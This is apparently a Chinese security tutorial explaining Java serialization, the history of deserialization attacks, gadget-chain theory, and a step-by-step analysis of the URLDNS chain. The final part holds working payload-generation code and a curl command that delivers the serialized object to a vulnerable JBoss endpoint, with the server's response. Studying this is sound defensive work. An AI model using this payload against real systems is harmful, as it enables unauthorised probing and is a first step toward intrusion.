序列化与反序列化基础 什么是序列化与反序列化? 序列化是将复杂的数据结构或对象转换为字节序列的过程,以便于在网络上传输、存储或持久化,在序列化过程中,对象的状态被转换成字节流,使得它可以被写入文件或通过网络发送。
反序列化则是序列化的逆过程,即将序列化后的字节流转换回原始的数据结构或对象,在反序列化过程中,从序列化后的数据中提取出原始对象的状态,并将其重新构建为内存中的对象,这使得数据可以从持久化的状态重新恢复为原始的可操作对象,以便进行进一步的处理或使用。
这两个过程通常用于在不同系统之间进行数据交换,例如在客户端和服务器之间、不同编程语言之间、或者将对象持久化到数据库或磁盘上。
常见的序列化有二进制格式的,譬如 Java Serialization、Ruby Marshal 等;人类可读格式的,如 JSON、XML、YAML 等;以及混合格式的,如 Python pickle、PHP Serialization 等。
序列化与反序列化在 Java 中的实现 Java 序列化 在 Java 中,如果要使一个类可序列化,只需该类实现Serializable
接口,Serializable
是一个标记接口,不包含任何方法,只是为了表示该类是可序列化的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import java.io.Serializable;public class Person implements Serializable { private static final long serialVersionUID = 1L ; private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } @Override public String toString () { return "Person [name=" + name + ", age=" + age + "]" ; } }
然后,使用ObjectOutputStream
类可以将对象序列化成字节流,再将字节流保存到文件或通过网络传输。如下将Person
对象序列化到person.ser
文件中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.io.FileOutputStream;import java.io.ObjectOutputStream;public class SerializationExample { public static void main (String[] args) { try (FileOutputStream fileOut = new FileOutputStream ("person.ser" ); ObjectOutputStream out = new ObjectOutputStream (fileOut)) { Person person = new Person ("Martin" , 21 ); out.writeObject(person); System.out.println("Person object has been serialized." ); } catch (Exception e) { e.printStackTrace(); } } }
对该对象进行序列化时,Java 会将对象转换为字节流并以特定的格式进行存储,通过查看person.ser
文件的十六进制内容,可以发现 Java 序列化数据是以aced
开头的,Base64 编码则是rO0
,这也是 Java 序列化数据的魔术数(Magic Number),用于标识 Java 序列化的数据。
在其之后紧跟着的是序列化规范的版本号,例如0005
表示 Java 序列化规范的版本号是 5,再之后的内容就是具体的对象数据,包括类名、字段名、字段类型和字段值等。
1 2 3 4 5 6 7 8 xxd person.ser 00000000: aced 0005 7372 0022 636f 6d2e 6a61 7661 ....sr."com.java 00000010: 7365 632e 6465 7365 7269 616c 697a 6174 sec.deserializat 00000020: 696f 6e2e 5065 7273 6f6e 0000 0000 0000 ion.Person...... 00000030: 0001 0200 0249 0003 6167 654c 0004 6e61 .....I..ageL..na 00000040: 6d65 7400 124c 6a61 7661 2f6c 616e 672f met..Ljava/lang/ 00000050: 5374 7269 6e67 3b78 7000 0000 1574 0006 String;xp....t.. 00000060: 4d61 7274 696e Martin
Java 反序列化 而当 Java 收到序列化数据时,会使用ObjectInputStream
类从字节流中反序列化对象。如下从person.ser
文件中反序列化Person
对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.io.FileInputStream;import java.io.ObjectInputStream;public class DeserializationExample { public static void main (String[] args) { try (FileInputStream fileIn = new FileInputStream ("person.ser" ); ObjectInputStream in = new ObjectInputStream (fileIn)) { Person person = (Person) in.readObject(); System.out.println("Person object has been deserialized." ); System.out.println("Name: " + person.getName()); System.out.println("Age: " + person.getAge()); } catch (Exception e) { e.printStackTrace(); } } }
这样,一个简单的序列化与反序列化过程就介绍完毕了。
serialVersionUID 版本控制 在Serializable
接口中,可以定义一个名为serialVersionUID
的static final long
字段。这个字段是用来控制对象的序列化版本。如果不显式地定义serialVersionUID
,Java 会自动生成一个,但一旦修改了类的结构,生成的serialVersionUID
可能会发生变化,导致旧版本的序列化对象无法被正确反序列化。
1 private static final long serialVersionUID = 1L ;
不可序列化的 可以使用transient
关键字来标记类的字段,告诉 Java 序列化机制不要将这些字段包含在序列化中。这在某些情况下很有用,比如一些涉及敏感信息的字段不希望被序列化。
除此之外,静态成员变量也是无法被序列化的,原因是因为序列化是针对对象及其实例变量的,而静态成员变量是类变量,属于类的状态,而非对象的状态。
1 2 3 4 5 public class Person implements Serializable { private String name; private transient int age; private static int staticField; }
Externalizable 接口 要使一个类可序列化,除了实现Serializable
接口外,还可以实现Externalizable
接口,该接口继承自Serializable
。
在实现Externalizable
接口时,必须实现一个类的无参构造器,还需实现writeExternal
方法来定义对象的序列化方式,以及readExternal
方法来定义对象的反序列化方式,这样可以更精确地控制对象的序列化和反序列化过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.Externalizable;import java.io.ObjectInput;import java.io.ObjectOutput;import java.io.IOException;public class Person implements Externalizable { private static final long serialVersionUID = 1L ; private String name; private int age; public Person () { } @Override public void writeExternal (ObjectOutput out) throws IOException { out.writeObject(name); out.writeInt(age); } @Override public void readExternal (ObjectInput in) throws IOException, ClassNotFoundException { name = (String) in.readObject(); age = in.readInt(); } }
Java 反序列化漏洞的前世今生 发展历史 Java 反序列化漏洞这一类型的漏洞利用,早在 2011 年就已在 Spring 中出现了第一个致使远程代码执行的 Java 反序列化利用,但在当时,反序列化这类问题并没有引起广泛的注意。
直至 2015 年 1 月加州 AppSec 安全会议上,Chris Frohoff 和 Gabe Lawrence 发表《Marshalling Pickles》主题演讲,内容涵盖跨平台的反序列化漏洞、反序列化漏洞采取的多种形式以及可以找到反序列化漏洞的位置,除此之外,还包含了一些使用常用库中的类来攻击 Java 序列化的新颖技术,这些技术在随后也以 Ysoserial 工具的形式发布了。
再到 2015 年底才开始有其他研究人员使用这些技术和工具来利用 Bamboo、WebLogic、WebSphere、ApacheMQ 和 Jenkins 等知名产品,从那时起,Java 反序列漏洞这一主题就被推到了公众视野中,并引起了广泛的关注。
简单的反序列化利用:应用程序逻辑操纵 在《Marshalling Pickles》主题演讲中,Chris Frohoff 和 Gabe Lawrence 演示了一个存在逻辑缺陷的网站,攻击者通过修改反序列化数据中的属性值,从而达到对管理员用户的未授权登录。如下是相关的序列化类代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.qualcomm.isrm.appsec;import java.io.Serializable;public class User implements Serializable { private static final long serialVersionUID = 1L ; private String name; private boolean userIsAdmin=false ; public User (String name) { super (); this .name = name; } public String getName () { return name; } public boolean isAdmin () { return this .userIsAdmin; } }
存在逻辑缺陷的代码如下,如下代码片段对传入的 Cookie 值进行了反序列化转变为对象的操作(如下readObject
方法),并获取了对象中的 name,判断是否管理员 name,是则进入到管理员用户页面。
攻击者只需抓包,修改 Cookie 中的序列化数据,将其中的 name 修改为管理员的 name,即可达到恶意目的。
当然,在现代网站中,如上情景出现的概率不大,且这种反序列化逻辑操纵的危害也有限。
反序列化危害升级:任意代码执行 那么,Chris Frohoff 和 Gabe Lawrence 就继续在演讲中对反序列化的危害做出了升级的利用,即达到任意代码执行,他们在演讲中对这种利用方式又称之为 Property-Oriented Programming 或 Object Injection,即面向属性编程或对象注入。
面向属性编程,简称 POP,原本是一种编程范式,旨在通过属性的方式来描述程序的行为和结构。放在这里也这么称呼是由于在 Java 反序列化攻击中,攻击者可以控制反序列化对象的所有属性,这与二进制中的面向返回编程(ROP,Return-Oriented Programming)攻击类似,攻击者利用程序中已有的 gadget 代码片段,并通过构建一系列的 gadget 调用构造完整链,来实现特定的攻击目的,如执行恶意代码。
作者也在演讲中详细指出了关于构造完整 gadget 链的要点。首先,gadget 类是需要从应用程序中寻找,其次是构成完整 gadget 链的三部分:
以在反序列化过程中或之后执行的 kick-off gadget 开始。
以执行任意代码或命令的 sink gadget 结束。
使用其他 gadget 来启动 gadget 的执行直至结束 gadget。
当完整的 gadget 链构造成功后,将其序列化并发送至应用程序中存在漏洞的反序列化处,最后在反序列化时,gadget 链就会在应用程序中执行。
反序列化任意代码执行攻击的局限性 由于反序列化任意代码执行攻击的复杂性,也相应地带来了一定的局限性,在演讲中也指出了条件与注意事项。
只能使用应用程序可用的类。
存在漏洞代码的 ClassLoader 与 gadgets 问题。
gadgets 类必须实现 Serializable/Externalizable 接口。
库或类版本的差异问题。
Static 类型常量约束问题。
Java 反序列化漏洞 Kick-off Gadget 重写 readObject 致使任意代码执行 反序列化漏洞利用的第一步就是利用某个重写了readObject
方法的类,通常它也作为 kick-off gadget。如下将演示一个类重写了readObject
方法,并且其中存在恶意的行为,当这个类对象被序列化后,再被由ObjectInputStream
读取对象进行反序列化时,恶意的行为便会被触发。
如下User
类,实现了Serializable
接口,在其中重写了readObject
方法,且readObject
方法中使用到了Runtime.getRuntime().exec
方法来执行系统命令。
当这个类被序列化后被保存至本地,在随后读取该文件,并对该类进行反序列化时,原本是调用readObject
方法将存储在文件中的 Java 对象读入至内存中,并返回一个 Object 对象。但由于User
类中存在一个重写的readObject
方法,那么该方法就会被优先执行,最终系统命令被执行,即弹出一个计算器。
但在实际应用程序中,几乎不可能存在这么简单、直接的利用方式,原因很简单,几乎不可能有开发人员会在重写的 readObject 方法中编写恶意操作的代码,更具体地说,如上情况 kiff-off 入口类和 sink 危害类都是User
类,且产生恶意行为就存在于 readObject 方法中,不太可能会有这么巧的事情。
通常更现实的情况是如下两种两种情况:
重写了 readObject 方法的 A 类存在触发 B 类的危害点,从 kiff-off 直接到 sink。
重写了 readObject 方法的 A 类作为 kiff-off,但其中并不能直接触发到 B 类的危害点,需要不断地找两者之间的其他类方法作为中间调用链,直至到达 B sink 类。
第二种情况更常见,寻找中间链也是极其复杂与繁琐的一个过程。
readObject 方法执行过程分析 如上演示了重写的readObject()
方法在反序列化过程中会被执行,但究其原因,仅仅就近原则四个字可不够解释得通。如下将详细分析这个反序列化命令执行的过程,将断点打至该方法行以进行调试。
跟进其中,发现调用了重载方法。
1 2 3 4 public final Object readObject () throws IOException, ClassNotFoundException { return readObject(Object.class); }
进入这个重载方法中,在其中又调用了readObject0
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private final Object readObject (Class<?> type) throws IOException, ClassNotFoundException { if (enableOverride) { return readObjectOverride(); } if (! (type == Object.class || type == String.class)) throw new AssertionError ("internal error" ); int outerHandle = passHandle; try { Object obj = readObject0(type, false ); handles.markDependency(outerHandle, passHandle); ClassNotFoundException ex = handles.lookupException(passHandle); if (ex != null ) { throw ex; } if (depth == 0 ) { vlist.doCallbacks(); } return obj; } finally { passHandle = outerHandle; if (closed && depth == 0 ) { clear(); } } }
readObject0
方法如下,该方法将读取从ObjectOutputStream
写入的对象的字节表示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private Object readObject0 (Class<?> type, boolean unshared) throws IOException { boolean oldMode = bin.getBlockDataMode(); if (oldMode) { int remain = bin.currentBlockRemaining(); if (remain > 0 ) { throw new OptionalDataException (remain); } else if (defaultDataEnd) { throw new OptionalDataException (true ); } bin.setBlockDataMode(false ); } byte tc; while ((tc = bin.peekByte()) == TC_RESET) { bin.readByte(); handleReset(); } depth++; totalObjectRefs++; try { switch (tc) { case TC_NULL: return readNull(); case TC_OBJECT: if (type == String.class) { throw new ClassCastException ("Cannot cast an object to java.lang.String" ); } return checkResolve(readOrdinaryObject(unshared)); default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } } finally { depth--; bin.setBlockDataMode(oldMode); } }
TC_OBJECT
是 Java 序列化机制中用于标识对象开始的特殊标记之一,当读取到(byte)0x73
时(即TC_OBJECT
常量),意味着这是一个对象序列化数据的开始,那接下来便会调用readOrdinaryObject
方法对对象做进一步处理。
在readOrdinaryObject
方法中,首先调用了readClassDesc
方法用于读取对象序列化数据流中的类描述符,包括类名、序列化版本号、字段等等信息,如若类实现了Externalizable
接口,便执行readExternalData
方法,否则就执行readSerialData
方法。
继续进入到readSerialData
方法,在其中通过了hasReadObjectMethod
方法来判断对象是否有重写readObject
方法,如果有重写,便调用invokeReadObject
方法调用对象中的readObject
方法。
进入到invokeReadObject
方法,成功弹出计算器。
URLDNS 链分析
在前面提到过,要成功执行反序列化攻击,需要有开头的 Kick-off 入口类(重写了 readObject 方法的类)、存在恶意行为的 Sink 类(执行恶意操作的结束类)以及中间 Gadget 链(用于将 Kick-off 与 Sink 连成一条完整链)。
如下以分析一个在实际现实中存在的Gadget链作为补充理解,理解URLDNS链对后续学习CommonsCollections6会有极大帮助,因为在CC6中也使用到了`HashMap`类作为Kick-off,也会涉及到`hashCode`方法。
Sink:URL#hashCode Java 中的java.net.URL
类提供许多方法用于解析、构建和处理 URL,包括获取 URL 的协议、主机、端口、路径等信息,以及打开连接、读取内容等操作,该类使 Java 程序可以很方便地与互联网上的资源进行交互和通信。
URL
类由Serializable
实现,意味着该类可序列化,满足反序列化漏洞必备的条件之一。
1 public final class URL implements java .io.Serializable
在URL
类中存在一个hashCode
方法,该方法的作用是用于计算 URL 对象的哈希,但它还有一个奇怪的副作用,当调用该方法时,会对成员变量hashCode
进行判断,如果该值不等于-1 则直接返回该值,而成员变量hashCode
的默认值就是-1,这也就意味着在正常情况下会调用handler.hashCode
方法。
1 2 3 4 5 6 7 8 9 private int hashCode = -1 ;public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
调用的handler.hashCode
方法,即java.net.URLStreamHandler#hashCode
,这个方法调用了getProtocol
、getHostAddress
等方法,根据这些方法名称,可以大致判断出这是在获取一个 URL 的几大部分,比如协议、主机名等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); if (addr != null ) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null ) h += host.toLowerCase().hashCode(); } return h; }
而在getHostAddress
方法中,又调用了InetAddress.getByName
方法,这个方法会对提供的 host 进行解析从而获取它的 IP 地址,这样将会触发一个 DNS 查询。
那么这个 DNS 查询就是 URLDNS 链的所触发的恶意行为,虽然这个恶意行为的影响未必比得上远程代码执行,但作为反序列化漏洞的一个检测方式,还是很合适的,当然前提是服务器端的 DNS 流量能够出网。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected synchronized InetAddress getHostAddress (URL u) { if (u.hostAddress != null ) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("" )) { return null ; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null ; } catch (SecurityException se) { return null ; } } return u.hostAddress; }
编写如下代码片段进行测试,可以发现,确实能够对指定的 host 触发 DNS 查询。
1 2 3 4 5 6 7 8 9 import java.net.URL;public class URLDNS { public static void main (String[] args) throws Exception { URL url = new URL ("http://urlhashcode.2acv23914hb.ipv6.bypass.eu.org" ); url.hashCode(); } }
作为补充说明的一点是,在URL
类中,除了hashCode
方法外,equals
方法也能达到同样的恶意行为。
Kick-off:HashMap#readObject java.util.HashMap
是 Java 中常用的集合类之一,它提供了一种快速的查找机制,可以根据键来快速查找对应的值,HashMap 的常见操作包括插入元素、获取元素、删除元素、判断是否包含某个键等。
在HashMap
类中有对readObject
方法进行重写,重写后的readObject
方法首先读取了HashMap
的结构状态,然后为其包含的所有项开启一个循环,循环时从流中读取 key 和 value。最后调用putVal
方法,在其中通过hash
方法获取 key 的哈希,还有 key、value。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
hash
方法如下,这个方法会调用传入的对象的hashCode
方法。
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
结合如上段落的分析,当传入一个 URL 对象到这个hash
方法,便会执行java.net.URL#hashCode
方法,这样就能够触发恶意行为。
继续观察HashMap
类,发现在put
方法对putVal
方法进行了调用,此处同样调用了hash
方法。
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
既然如此,那就可以将一个URL
对象放置在HashMap
中,通过调用HashMap
的put
方法,从而在反序列化执行readObject
方法时触发hash
方法的执行,该方法将调用传入的URL
对象的hashCode
方法,如此便可达到执行 DNS 查询的恶意行为。
利用代码及验证 利用代码如下,关于详细的代码释义见其中的代码注释。需要特别注意地是,在序列化时,需要通过反射修改 hashCode 成员变量为非-1,否则在序列化时就会触发 DNS 请求,这样将会对反序列化漏洞的检测造成误报。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package com.javasec.urldns;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.net.URL;public class URLDNS { public static void main (String[] args) throws Exception { URL url = new URL ("http://urldns.1asj4bef1af.ipv6.bypass.eu.org" ); Class c = Class.forName("java.net.URL" ); Field f = c.getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 1 ); HashMap<URL, Integer> hashMap = new HashMap <>(); hashMap.put(url, 0 ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("urldns.ser" )); oos.writeObject(hashMap); } }
现在,向一个存在反序列化漏洞的 Jboss 环境发送如上生成的恶意序列化数据,效果符合我们的预期,见如下图,即 Jboss 服务器成功向我们指定的域发起 DNS 查询。
1 2 3 4 5 curl -H "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@urldns.ser" http://192.168.1.128:8080/invoker/readonly <html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>java.lang.ClassCastException: java.util.HashMap cannot be cast to org.jboss.invocation.MarshalledInvocation org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106) </pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" noshade="noshade"><h3>JBoss Web/3.0.0-CR2</h3></body></html>%
URLDNS 链总结 URLDNS 链比较简单,由于它只依赖原生类,没有 JDK 版本限制,且没有危害,只会触发 DNS 查询,所以它常被用作来检测反序列化漏洞,但前提是服务器的 DNS 流量必须出网。
由于该链的简单性,它只有 kick-off 和 sink,之间没有其他的类作为中间调用链。
kick-off:java.util.HashMap#readObject
sink:java.net.URL#hashCode
完整 gadget 调用链如下。
1 2 3 4 HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
参考